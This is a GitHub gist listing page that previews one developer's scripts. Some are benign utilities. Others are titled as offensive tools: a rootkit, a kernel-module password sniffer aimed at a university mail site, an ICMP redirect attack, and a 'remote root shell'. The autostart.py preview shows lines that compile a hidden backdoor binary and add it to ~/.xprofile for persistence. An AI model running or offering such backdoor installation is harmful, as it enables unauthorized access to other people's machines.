Skip to content

Instantly share code, notes, and snippets.

View brickgao's full-sized avatar
🎯
Focusing

Xiongzhi Gao brickgao

🎯
Focusing
View GitHub Profile
@brickgao
brickgao / cloudflare_ddns.py
Created October 21, 2016 11:17
Script to implement Cloudflare DDNS
#!/usr/bin/env python3
# The MIT License (MIT)
# Copyright (c) <2016> <brickgao>
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
@brickgao
brickgao / electricity_reminder.py
Last active October 21, 2016 11:08
Simple script to remind me to pay the electricity bill
#!/usr/bin/env python3
# The MIT License (MIT)
# Copyright (c) <2016> <brickgao>
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
@brickgao
brickgao / cpplint_pre_commit_hook.sh
Last active March 20, 2023 06:52
cpplint pre-commit hook
#!/bin/sh
#
# Modified from http://qiita.com/janus_wel/items/cfc6914d6b7b8bf185b6
#
# An example hook script to verify what is about to be committed.
# Called by "git commit" with no arguments. The hook should
# exit with non-zero status after issuing an appropriate message if
# it wants to stop the commit.
#
# To enable this hook, rename this file to "pre-commit".
@brickgao
brickgao / simple_rootkit.c
Created August 6, 2016 14:13
A simple rootkit, works on Ubuntu 12.04 LTS x86
/*
* Copyright (C) <2016> <Brickgao>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
@brickgao
brickgao / autostart.py
Last active July 12, 2016 14:41
Create a remote root shell
#!/usr/bin/env python2
import os
import shutil
if __name__ == "__main__":
os.popen("sudo gcc backdoor.c -o .backdoor")
shutil.move(".backdoor", os.path.expanduser("~/.backdoor"))
with open(os.path.expanduser("~/.xprofile"), "a+") as f:
@brickgao
brickgao / getpass.c
Last active July 12, 2016 14:37
An experimental kernel module to sniffer email address and password from mail.ustc.edu.cn
/*
* Copyright (C) <2016> <Brickgao>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
@brickgao
brickgao / sniffer.cpp
Last active June 9, 2016 16:32
A simple sniffer
/*
* The MIT License (MIT)
* Copyright (c) <2016> <Brickgao>
*
* Permission is hereby granted, free of charge, to any person obtaininga
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the Software
* is furnished to do so, subject to the following conditions:
@brickgao
brickgao / icmp_redirect_attack.c
Last active September 27, 2023 19:41
ICMP redirect attack
/*
* The MIT License (MIT)
* Copyright (c) <2016> <Brickgao>
*
* Permission is hereby granted, free of charge, to any person obtaininga
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the Software
* is furnished to do so, subject to the following conditions:
@brickgao
brickgao / .zshrc
Created March 7, 2016 03:42
Make the Gnome Terminal transparent
if [ -n "$WINDOWID" ]; then
TRANSPARENCY_HEX=$(printf 0x%x $((0xffffffff * 90 / 100)))
xprop -id "$WINDOWID" -f _NET_WM_WINDOW_OPACITY 32c -set _NET_WM_WINDOW_OPACITY "$TRANSPARENCY_HEX"
fi
@brickgao
brickgao / cover_subtitle.py
Created December 2, 2015 15:32
An empty window to cover the subtitle.
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import sys
from PyQt4 import QtGui, QtCore
class CoverSubtitle(QtGui.QMainWindow):
"""Use me to cover the subtitle.